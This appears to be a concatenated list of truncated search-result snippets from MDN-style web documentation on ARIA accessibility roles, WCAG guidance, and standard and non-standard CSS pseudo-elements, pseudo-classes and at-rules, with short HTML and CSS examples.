en it is an immediate descendant of the <body> element, using the <footer> element will automatically communicate a section has a role of contentinfo (save for a known issue in voiceover). if at all possible, prefer using <footer> instead. note that a footer element nested within an article, aside, main, nav, or section is not considered contentinfo. added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and navigate to large sections of the document. landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'contentinfo landmark role' in that specification. recom...
ARIA: form role - Accessibility
do not need to describe what the landmark is in its label. for example, a declaration of role="form" with an of aria-label="contact form" may be announced redundantly as, "contact form form". best practices prefer html using the <form> element will automatically communicate a section has a role of form. if at all possible, prefer using it instead. added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and navigate to large sections of the document. landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria form role' in that specification. recom...
ARIA: Main role - Accessibility
r. adding an id attribute to the element with a declaration of role="main" allows it to be a target of a skip navigation link. <body> <a href="#main-content">skip to main content</a> <!-- navigation and header content --> <div id="main-content" role="main"> <!-- main page content --> </div> </body> webaim: "skip navigation" links added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and navigate to large sections of the document. landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria navigtion role' in that specification. recommendat...
ARIA: Navigation Role - Accessibility
ons --> </nav> </footer> redundant descriptions screen readers will announce the type of role the landmark is. because of this, you do not need to describe what the landmark is in its label. for example, a declaration of role="navigation" with an of aria-label="primary navigation" may be announced redundantly as, "primary navigation navigation". added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and navigate to large sections of the document. landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria navigtion role' in that specification. recommendat...
ARIA: Region role - Accessibility
overflow text if there is a content area with tabindex="0", add role="region" to convey to screen reader users that is a generic region. this is done to allow keyboard-only users to scroll regions with overflow text. svg role="region" can be declared on areas of svg along with an aria-label to allow individual sections of the svg to be described. added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and navigate to large sections of the document. landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria region role' in that specification. recommendation...
ARIA: img role - Accessibility
iv role="img" aria-label="that cat is so funny"> <p> &#x1f408; &#x1f602; </p> </div> &#x1f408; &#x1f602; are entity references for emojis read out as "cat" and "face with tears of joy", but this doesn't necessarily make sense — the implied meaning is possibly more like "that cat is so funny", so we include that in an aria-label along with role="img". this seems to work ok across some browser/screenreader combinations, but some of them end up reading the label out twice. use with caution and test thoroughly. another example where this might be suitable is when using ascii emoji combinations, like the legendary "table flip": <div role="img" aria-label="table flip"> <p> (╯°□°)╯︵ ┻━┻ </p> </div> associated wai-aria roles, states, and properties aria-la...
ARIA: search role - Accessibility
!-- search input --> </form> </footer> redundant descriptions screen readers will announce the type of role the landmark is. because of this, you do not need to describe what the landmark is in its label. for example, a declaration of role="search" with an of aria-label="sitewide search" may be announced redundantly as, "sitewide search search". added benefits certain technologies such as browser extensions can generate lists of all landmark roles present on a page, allowing non-screen reader users to also quickly identify and navigate to large sections of the document. landmarks browser extension specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria search role' in that specification. recommendation...
ARIA: Suggestion role - Accessibility
when, and associate it with the suggestion via aria-details: <p>freida’s pet is a <span role="suggestion" aria-details="comment-source"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>. </p> <div id="comment-source">suggested by chris, <time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></div> browsers tend to provide a default black strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document. using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page. ...
ARIA: tab role - Accessibility
to accomplish the first, we listen for the keydown event on the tablist. if the event's keycode is 39 for right arrow or 37 for the left arrow, we react to the event. we start by setting the tabindex of the current tab element to -1, making it no longer tabbable. then, if the right arrow is being pressed, we increase our ...
ARIA: button role - Accessibility
states; changing from true to false and back again. html <button type="button" onclick="handlebtnclick()" onkeydown="handlebtnkeydown()"> mute audio </button> <span role="button" tabindex="0" aria-pressed="false" onclick="handlebtnclick(event)" onkeydown="handlebtnkeydown(event)"> mute audio </span> <audio id="audio" src="https://udn.realityripple.com/samples/41/191d072707.mp3"> your browser does not support the <code>audio</code> element. </audio> css button, [role="button"] { padding: 3px; border: 2px solid transparent; } button:active, button:focus, [role="button"][aria-pressed="true"] { border: 2px solid #000; } javascript function handlebtnclick(event) { togglebutton(event.target); } function handlebtnkeydown(event) { // check to see if space or enter ...
ARIA: heading role - Accessibility
> <p>an introductory text.</p> <h2>chapter 1</h2> <p>text</p> <h3>chapter 1.1</h3> <p>more text in a sub section.</p> ...</div> accessibility concerns if you must use the heading role and aria-level attribute, do not go over level 6 so that you are consistent with html. although theoretically you can go higher, and some screen readers may support it, the results can be unpredictable with other browser/screen reader combinations. best practices the best way to use this role is to not use it at all, and instead use the native heading tags <h1> through <h6> as shown in the example above. the heading role and aria-level attribute should only be used to retrofit accessibility on legacy code that you cannot make major changes to. added benefits none. specifications specification ...
ARIA: listbox role - Accessibility
checkboxes if multiple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for free. elements with the role listbox have an implicit aria-orientation value of vertical. when a list is tabbed to, the first item in the list will be selected if nothing else already is. up/down arrows navigate the list, and pressing shift + up/down arrows will move and extend the selection. typing one or more letters will navigate the list items (same letter goes to each item starting with that, different letters go to the first item starting with that entire string). if the current item has an associated context menu, shift+f10 will launch that menu. if list items are checkable, space can be ...
Architecture - Accessibility
ange issue with caret offsets. the caret can sometimes visually appear at the end of a line, but logically it is on the first character on the next line. you can test this in a given editor by pressing the end key on a line, to see whether the caret is shown past the end of the line. to doublecheck, hit the delete key and see if it removes the first char of the next line. therefore, as the user arrows up and down, if you use the accessibletext::caretoffset and retrieve the line with that offset, you may not get the line with the visual caret returned. you are getting the line starting with the logical caret offset, which may be the next line. to get around this problem, mozilla allows the magic value of -2 to be passed into accessibletext/accessiblehypertext methods that take a character offse...
Accessibility FAQ - Accessibility
where can i find more about mozilla's accessibility initiatives? mozilla accessibility project what are some of the built-in accessibility features that are currently supported in the browser? firefox 3 accessibility features (archive.org) which assistive technologies support firefox and thunderbird? assistive technology compatibility - documents assistive technologies for windows, linux, unix, mac os x and the degree of compatibility with firefox what can i do to make sure my mozilla extensions are accessible? in general, use the accessible toolkit checklist (archive.org). for interface design with xul, follow the accessibile xul authoring guidelines (archive.org). i'm interested in helping promote the fine accessibility features that firefox provides, what can i do? jo...
Accessibility Information for Web Authors - Accessibility
age. html advanced validator (firefox extension) by marc gueury this html validator (based on w3c tidy and on opensp for sgml validation) is a powerful, versatile, extended html validator. it's free. it works off-line and that is a major advantage over other accessibility checkers. no document upload needed and no additional application to launch; everything is accessible within the firefox browser. this html advanced validator firefox extension is very resourceful and highly customizable. it's an extension add-on to firefox 2.x and firefox 3.x. it not only checks and reports possible markup errors and warnings (based on w3c tidy and/or based on true sgml validation) but it can also report accessibility errors and warnings according to selectable accessibility guidelines (section 508, ...
Web Accessibility: Understanding Colors and Luminance - Accessibility
00%); } conversions are not casual. see the stack exchange article, "formula to determine the brightness of rgb color". there are many online tools that can convert rgb to hsl for you, with both the rgb hexidecimal and css function syntax. a great example of a tool that converts colors for you is tom jewett's "mini color selector" with hsl, rgb, hex options for checking contrast in the browser. luminance and contrast contrast contrast between colors ("hues") is a critical component, but the use of color ("hues") alone is not enough to create accessible content. as mentioned before, any calculation of contrast must include luminance in the calculation. in addition, the "shape" of the text itself will matter. thin letters will be harder to read than thick ones; all type faces...
Operable - Accessibility
multiple instances of "further information"), unless the structure allows you to differentiate between them easily. 2.4.7 visible focus for focusable elements (aa) when tabbing through focusable elements such as links or form inputs, there should be a visual indicator to show you which element currently has focus. this is usually a dotted or blue outline by default (depending on browser, platform, etc.), but this can be overidden by css. see using native keyboard accessibility. 2.4.8 location within site (aaa) when on a page inside a complex site or set of steps, the user should be given an indicator of where they are in the site, for example a breadcrumb trail, sitemap or text such as "form page 2 of 10". 2.4.9 link purpose (link only) (aaa) thi...
Robust - Accessibility
a, see principle 4: robust — content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies. guideline 4.1 — compatible: maximize compatibility with current and future user agents, including assistive technologies this guideline focuses on making content as compatible as possible, not only with current user agents (e.g. browsers), but also with future ones too. success criteria how to conform to the criteria practical resource 4.1.1 parsing (a) content should be well-formed so it can be parsed successfully by browsers and other user agents such as screenreaders. to pass this criterion, make sure that your html is as valid as possible. use the w3c validator to validate your mar...
Text labels and names - Accessibility
, obsolete <frame>, must have a title to describe the contents of the frame. use the title attribute to label a frame element. without a title, users of assistive technologies have to navigate into the frame in order to understand what it contains, which can be difficult and confusing. the <frame> element is no longer part of the html specification as of html5. support for it may be dropped by browsers in the future. in addition, it is difficult for screen readers to navigate pages with <frame> elements. for best accessibility and future maintenance, redesign any pages that use frames to use css to achieve a similar layout. as a best practice, also provide a <title> for the document that is enclosed in the frame, with content identical to the frame's title attribute. (this assumes that the ...
Understanding the Web Content Accessibility Guidelines - Accessibility
vable: users must be able to perceive it in some way, using one or more of their senses. operable: users must be able to control ui elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice command, etc.). understandable: the content must be understandable to its users. robust: the content must be developed using well-adopted web standards that will work across different browsers, now and in the future. should i use wcag 2.0 or 2.1? wcag 2.1 is the most recent and relevant accessibility standard. use wcag 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. target wcag 2.0 first when allocating resources. then step up to wcag 2.1. what is wcag 2.1? wcag 2.1 was published as an official recommendation on 05 june 2018. the...
Accessibility
me css and javascript best practices that should be considered to ensure even complex content is as accessible as possible. wai-aria basics following on from the previous article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult. wai-aria is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. here we'll show how to use it at a basic level to improve accessibility. accessible multimedia another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies ...
-moz-force-broken-image-icon - CSS: Cascading Style Sheets
the use of this property is not recommended. a proper alt attribute should be used instead. specifications not part of any standard. ...
-moz-outline-radius-bottomleft - CSS: Cascading Style Sheets
html <p>look at this paragraph's bottom-left corner.</p> css p { margin: 10px; border: solid cyan; outline: dotted green; -moz-outline-radius-bottomleft: 2em; } result specifications not part of any standard. ...
-moz-outline-radius-bottomright - CSS: Cascading Style Sheets
specifications not part of any standard. ...
-moz-outline-radius-topleft - CSS: Cascading Style Sheets
of the border box. formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples the example below will not display the desired effect if you are viewing this in a browser other than firefox. html <p>look at this paragraph's top-left corner.</p> css p { margin: 5px; border: solid cyan; outline: dotted red; -moz-outline-radius-topleft: 2em; } result specifications not part of any standard. ...
-moz-outline-radius-topright - CSS: Cascading Style Sheets
specifications not part of any standard. ...
-moz-outline-radius - CSS: Cascading Style Sheets
html <p>this element has a rounded outline!</p> css p { margin: 5px; border: 1px solid black; outline: dotted red; -moz-outline-radius: 12% 1em 25px; } result notes dotted or dashed radiused corners were rendered as solid until firefox 50, bug 382721 future versions of gecko/firefox may drop this property completely. see bug 593717. specifications not ...
-webkit-border-before - CSS: Cascading Style Sheets
finition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritedyespercentagesas each of the properties of the shorthand:-webkit-border-before-width: logical-width of containing blockcomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute lengt...
-webkit-print-color-adjust - CSS: Cascading Style Sheets
the -webkit-print-color-adjust property is a non-standard css extension that can be used to force printing of background colors and images in browsers based on the webkit engine. /* keyword values */ -webkit-print-color-adjust: economy; -webkit-print-color-adjust: exact; /* global values */ -webkit-print-color-adjust: inherit; -webkit-print-color-adjust: initial; -webkit-print-color-adjust: unset; syntax the -webkit-print-color-adjust property is specified as one of the keyword values listed below. values economy normal behavior. background colors and images are only printed if the user explicitly allows it in their browser's print settings dialog. exact background colors and images of the element to which this rule is applied are always printed, user's print settings a...
-webkit-text-security - CSS: Cascading Style Sheets
as <input> or <textarea>) by replacing them with a shape. it only affects fields that are not of type=password. syntax -webkit-text-security: circle; -webkit-text-security: disc; -webkit-text-security: square; -webkit-text-security: none; formal definition value not found in db! formal syntax syntax not found in db! examples obscuring a text input try typing in the field below. if your browser supports this property, the characters should be visually replaced with squares. html <label for="name">name:</label> <input type="text" name="name" id="name" /> css input { -webkit-text-security: square; } result specifications not part of any standard. ...
:-moz-only-whitespace - CSS: Cascading Style Sheets
the :-moz-only-whitespace css pseudo-class matches elements that only contains text nodes that only contain whitespace. ...
:-webkit-autofill - CSS: Cascading Style Sheets
the :-webkit-autofill css pseudo-class matches when an <input> element has its value autofilled by the browser. note: the user agent style sheets of many browsers use !important in their :-webkit-autofill style declarations, making them non-overrideable by webpages without resorting to javascript hacks. syntax :-webkit-autofill specifications not part of any standard. ...
::-webkit-file-upload-button - CSS: Cascading Style Sheets
the ::-webkit-file-upload-button css pseudo-element represents the button of an <input> of type="file". this pseudo-element is non-standard and only supported in webkit/blink compatible browsers like chrome, opera and safari (indicated by the -webkit prefix). syntax selector::-webkit-file-upload-button examples html <form> <label for="fileupload">upload file</label><br> <input type="file" id="fileupload"> </form> css input, label { display: block; } input[type=file]::-webkit-file-upload-button { border: 1px solid grey; background: #fffaaa; } below is the example for you to try. the screenshot to the left shows what the button will look like if you are without access to chrome, opera or safari. screenshotlive sample specifications not part of any standard. ...
::-webkit-inner-spin-button - CSS: Cascading Style Sheets
the ::-webkit-inner-spin-button css pseudo-element is used to style the inner part of the spinner button of number picker input elements. syntax ::-webkit-inner-spin-button examples these examples work only in browsers based on webkit and blink. changing the cursor in the spin controls in this example, the css cursor is changed to pointer whenever the cursor is positioned over the inner part of the input's spin controls. html <input type="number"> css input[type=number]::-webkit-inner-spin-button { cursor: pointer; } result specifications not part of any standard. ...
::-webkit-meter-inner-element - CSS: Cascading Style Sheets
::-webkit-meter-inner-element is a proprietary webkit css pseudo-element for selecting and applying styles to to the outer containing element of a <meter> element. additional markup to render the meter element as read-only. syntax ::-webkit-meter-inner-element specifications not part of any standard. examples this will only work in webkit and blink-based browsers, such as safari, chrome, and chromium-based versions of edge. html <meter min="0" max="10" value="6">score out of 10</meter> css meter { /* reset the default appearance */ -webkit-appearance: none; -moz-appearance: none; appearance: none; } meter::-webkit-meter-inner-element { -webkit-appearance: inherit; box-sizing: inherit; border: 1px solid #aaa; } result ...
::-webkit-meter-optimum-value - CSS: Cascading Style Sheets
the ::-webkit-meter-optimum-value css pseudo-element styles the <meter> element when its value is inside the low-high range. green is the default color. syntax ::-webkit-meter-optimum-value specifications not part of any standard. examples this example will only work in browsers based on webkit or blink. html <meter min="0" max="10" value="6">score out of 10</meter> css meter::-webkit-meter-bar { /* required to get rid of the default background property */ background : none; background-color : whitesmoke; box-shadow : 0 5px 5px -5px #333 inset; } meter::-webkit-meter-optimum-value { box-shadow: 0 5px 5px -5px #999 inset; } result ...
::-webkit-meter-suboptimum-value - CSS: Cascading Style Sheets
the ::-webkit-meter-suboptimum-value pseudo-element gives a yellow color to the <meter> element when the value attribute falls outside of the low-high range. syntax ::-webkit-meter-suboptimum-value examples this example will only work in browsers based on webkit or blink. html <meter min="0" max="10" value="6">score out of 10</meter> css meter::-webkit-meter-suboptimum-value { background: -webkit-gradient linear, left top, left bottom; height: 100%; box-sizing: border-box; } result specifications not part of any standard. ...
::-webkit-outer-spin-button - CSS: Cascading Style Sheets
the ::-webkit-outer-spin-button css pseudo-element is used to style the outer part of the spinner button of number picker <input> elements. syntax ::-webkit-outer-spin-button examples these examples only works on browsers based on webkit or blink. hiding the spinner this example uses input::-webkit-outer-spin-button to find <input> elements' spinner widgets and set their -webkit-appearance to none, thus hiding them. html <input type="number"> css input::-webkit-outer-spin-button { -webkit-appearance: none; } result specifications not part of any standard. ...
::-webkit-progress-bar - CSS: Cascading Style Sheets
eudo-element. note: for ::-webkit-progress-value to take effect, appearance needs to be set to none on the <progress> element. syntax ::-webkit-progress-bar examples css content progress { -webkit-appearance: none; } ::-webkit-progress-bar { background-color: orange; } html content <progress value="10" max="50"> result result screenshot if you're not using a webkit or blink browser, the code above results in a progress bar that looks like this: specifications not part of any standard. ...
::-webkit-progress-inner-element - CSS: Cascading Style Sheets
ent examples these examples work only on blink and webkit. adding a black border around the progress bar in this example, a 2px black border is added around the progress bar. html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-inner-element { border: 2px solid black; } result result screenshot if you're not using a blink or webkit browsear, the above code resuls in a progress bar looking like this: specifications not part of any standard. ...
::-webkit-progress-value - CSS: Cascading Style Sheets
the ::-webkit-progress-value css pseudo-element represents the filled-in portion of the bar of a <progress> element. it is a child of the ::-webkit-progress-bar pseudo-element. note: in order to let ::-webkit-progress-value take effect, -webkit-appearance needs to be set to none on the <progress> element. syntax ::-webkit-progress-value examples this example will only work in browsers based on blink or webkit. html <progress value="10" max="50"> css progress { -webkit-appearance: none; } ::-webkit-progress-value { background-color: orange; } result result screenshot a progress bar using the style above would look like this: specifications not part of any standard. ...
::after (:after) - CSS: Cascading Style Sheets
Web › CSS › ::after
*/ a::after { content: "→"; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements such as <img>, or to <br> elements. syntax /* css3 syntax */ ::after /* css2 syntax */ :after note: css3 introduced the ::after notation (with two colons) to distinguish pseudo-classes from pseudo-elements. browsers also accept :after, introduced in css2. examples simple usage let's create two classes: one for boring paragraphs and one for exciting ones. we can use these classes to add pseudo-elements to the end of paragraphs. html <p class="boring-text">here is some plain old boring text.</p> <p>here is some normal text that is neither boring nor exciting.</p> <p class="exciting-text">contributing ...
::backdrop - CSS: Cascading Style Sheets
layer. ::backdrop neither inherits from nor is inherited by any other elements. no restrictions are made on what properties apply to this pseudo-element. syntax ::backdrop examples styling the backdrop for full-screen video in this example, the backdrop style used when a video is shifted to full-screen mode is configured to be a grey-blue color rather than the black it defaults to in most browsers. video::backdrop { background-color: #448; } the resulting screen looks like this: note the dark grey-blue letterbox effect above and below where the backdrop is visible. normally that area is black, but its appearance has been altered by the css above. you can see this example in action or view or remix the code on glitch. specifications specification status comment ...
::before (:before) - CSS: Cascading Style Sheets
Web › CSS › ::before
a::before { content: "♥"; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements such as <img>, or to <br> elements. syntax /* css3 syntax */ ::before /* css2 syntax */ :before note: css3 introduced the ::before notation (with two colons) to distinguish pseudo-classes from pseudo-elements. browsers also accept :before, introduced in css2. examples adding quotation marks one simple example of using ::before pseudo-elements is to provide quotation marks. here we use both ::before and ::after to insert quotation characters. html <q>some quotes,</q> he said, <q>are better than none.</q> css q::before { content: "«"; color: blue; } q::after { content: "»"; color: red; } re...
::first-line (:first-line) - CSS: Cascading Style Sheets
lies styles to the first line of a block-level element. note that the length of the first line depends on many factors, including the width of the element, the width of the document, and the font size of the text. /* selects the first line of a <p> */ p::first-line { color: red; } css3 introduced the ::first-line notation (with two colons) to distinguish pseudo-classes from pseudo-elements. browsers also accept :first-line, introduced in css2. allowable properties only a small subset of css properties can be used with the ::first-line pseudo-element: all font-related properties: font, font-kerning, font-style, font-variant, font-variant-numeric, font-variant-position, font-variant-east-asian, font-variant-caps, font-variant-alternates, font-variant-ligatures, font-synthesis, font-fe...
::grammar-error - CSS: Cascading Style Sheets
cally incorrect. allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown. html <p>my friends is coming to the party tonight.</p> css ::grammar-error { text-decoration: underline red; color: red; } result specifications specification status comment css pseudo-elements level 4the definition of '::grammar-error' in that specification. working draft ini...
::placeholder - CSS: Cascading Style Sheets
the ::placeholder css pseudo-element represents the placeholder text in an <input> or <textarea> element. ::placeholder { color: blue; font-size: 1.5em; } only the subset of css properties that apply to the ::first-line pseudo-element can be used in a rule using ::placeholder in its selector. note: in most browsers, the appearance of placeholder text is a translucent or light gray color by default. syntax ::placeholder accessibility concerns color contrast contrast ratio placeholder text typically has a lighter color treatment to indicate that it is a suggestion for what kind of input will be valid, and is not actual input of any kind. it is important to ensure that the contrast ratio between the color of the placeholder text and the background of the input is high enough tha...
::slotted() - CSS: Cascading Style Sheets
Web › CSS › ::slotted
s when inserted into the page: <person-details> <p slot="person-name">dr. shazaam</p> <span slot="person-age">immortal</span> <span slot="person-occupation">superhero</span> </person-details> specifications specification status comment css scoping module level 1the definition of '::slotted' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet::slottedchrome ...
::spelling-error - CSS: Cascading Style Sheets
rrectly spelled. allowable properties only a small subset of css properties can be used in a rule with ::spelling-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::spelling-error examples simple document spell check in this example, eventual supporting browsers should highlight any flagged spelling errors with the styles shown. html <p contenteditable spellcheck="true">my friends are coegdfgfddffbgning to the party tonight.</p> css ::spelling-error { text-decoration: wavy red; } result specifications specification status comment css pseudo-elements level 4the definition of '::spelling-error' in that specificati...
:any-link - CSS: Cascading Style Sheets
Web › CSS › :any-link
matches all elements that match :link or :visited. /* selects any element that would be matched by :link or :visited */ :any-link { color: green; } syntax :any-link examples html <a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ':any-link' in that specification. working draft initial definition. ...
:blank - CSS: Cascading Style Sheets
Web › CSS › :blank
note: the :blank selector is considered at risk, as the csswg keeps changing it. see csswg issue #1967. the :blank css pseudo-class selects empty user input elements (eg. <input> or <textarea>). syntax :blank examples simple :blank example in eventual supporting browsers, the :blank pseudo-class will enable developers to highlight in some way input controls that are not required, but still have no content filled in, perhaps as a reminder to users. html <textarea></textarea> css textarea:blank { border: 3px solid red; } result specifications specification status comment selectors level 4the definition of ':blank' in that specification. working draft initial definition. ...
:host() - CSS: Cascading Style Sheets
Web › CSS › :host()
<context-span> element (the shadow host in this instance) in the document that have the footer class set on them — we've used it to give instances of the element inside the <footer> a special color. specifications specification status comment css scoping module level 1the definition of ':host()' in that specification. working draft initial definition. ...
:host-context() - CSS: Cascading Style Sheets
nstance of the <context-span> element (the shadow host in this instance) inside the <h1>. we've used it to make it clear that the custom element shouldn't appear inside the <h1> in our design. specifications specification status comment css scoping module level 1the definition of ':host-context()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:host-context()chrome ...
:host - CSS: Cascading Style Sheets
Web › CSS › :host
,0,0,0.1); padding: 2px 5px; }'; the :host { background: rgba(0,0,0,0.1); padding: 2px 5px; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document. specifications specification status comment css scoping module level 1the definition of ':host' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:hostchrome ...
:hover - CSS: Cascading Style Sheets
Web › CSS › :hover
ss will be overridden by any subsequent link-related pseudo-class (:link, :visited, or :active) that has at least equal specificity. to style links appropriately, put the :hover rule after the :link and :visited rules but before the :active one, as defined by the lvha-order: :link — :visited — :hover — :active. note: the :hover pseudo-class is problematic on touchscreens. depending on the browser, the :hover pseudo-class might never match, match only for a moment after touching an element, or continue to match even after the user has stopped touching and until the user touches another element. web developers should make sure that content is accessible on devices with limited or non-existent hovering capabilities. syntax :hover examples basic example html <a href="#">try hovering o...
:read-only - CSS: Cascading Style Sheets
nition of ':read-only' in that specification. living standard no change. html5the definition of ':read-only' in that specification. recommendation defines the semantics regarding html and constraint validation. selectors level 4the definition of ':read-only' in that specification. working draft defines the pseudo-class, but not the associated semantics. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:read-onlychrome ...
:read-write - CSS: Cascading Style Sheets
ion of ':read-write' in that specification. living standard no change. html5the definition of ':read-write' in that specification. recommendation defines the semantics regarding html and constraint validation. selectors level 4the definition of ':read-write' in that specification. working draft defines the pseudo-class, but not the associated semantics. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:read-writechrome ...
:scope - CSS: Cascading Style Sheets
Web › CSS › :scope
div> <div id="element-1.2"></div> </div> <div id="element-2"> <div id="element-2.1"></div> </div> </div> <p> selected elements ids : <span id="results"></span> </p> result specifications specification status comment selectors level 4the definition of ':scope' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:scopechrome ...
:where() - CSS: Cascading Style Sheets
Web › CSS › :where
attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>? ']'where <attr-matcher> = [ '~' | | | '^' | '$' | '*' ]? '='<attr-modifier> = i | s specifications specification status comment selectors level 4the definition of ':where()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:where()chrome ...
@counter-style - CSS: Cascading Style Sheets
ified is fixed, then each of the n symbols specified in the descriptor will be used to represent the first n counter symbols. once the specified set of symbols have exhausted, the fallback style will be used for the rest of the list. the below @counter-style rule uses images instead of character symbols. image values for symbols is currently an 'at risk' feature, and is not implemented in any browser. @counter-style winners-list { system: fixed; symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg); suffix: " "; } additive-symbols while the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on additive tuples described in this descriptor. each additive tuple cons...
@document - CSS: Cascading Style Sheets
Web › CSS › @document
ction must additionally be escaped from the css. for example, a . (period) matches any character in regular expressions. to match a literal period, you would first need to escape it using regular expression rules (to \.), then escape that string using css rules (to \\.). @document is currently only supported in firefox; if you wanted to replicate using such functionality in your own non-firefox browser, you could try using this polyfill by @an-error94, which uses a combination of a user script, data-* attributes, and attribute selectors. note: there is a -moz-prefixed version of this property — @-moz-document. this has been limited to use only in user and ua sheets in firefox 59 in nightly and beta — an experiment designed to mitigate potential css injection attacks (see bug 1035091). ...
unicode-range - CSS: Cascading Style Sheets
de code points. so for example, u+0025-00ff means include all characters in the range u+0025 to u+00ff. wildcard range a range of unicode code points containing wildcard characters, that is using the '?' character, so for example u+4?? means include all characters in the range u+400 to u+4ff. description the purpose of this descriptor is to allow the font resources to be segmented so that a browser only needs to download the font resource needed for the text content of a particular page. for example, a site with many localizations could provide separate font resources for english, greek and japanese. for users viewing the english version of a page, the font resources for greek and japanese fonts wouldn't need to be downloaded, saving bandwidth. formal definition related at-rule@font-fac...
@font-feature-values - CSS: Cascading Style Sheets
nt-feature-values font two { @styleset { nice-style: 4; } } … /* apply the at-rules with a single declaration */ .nice-look { font-variant-alternates: styleset(nice-style); } specifications specification status comment css fonts module level 4the definition of '@font-feature-values' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet@font-feature-valueschr...
@import - CSS: Cascading Style Sheets
Web › CSS › @import
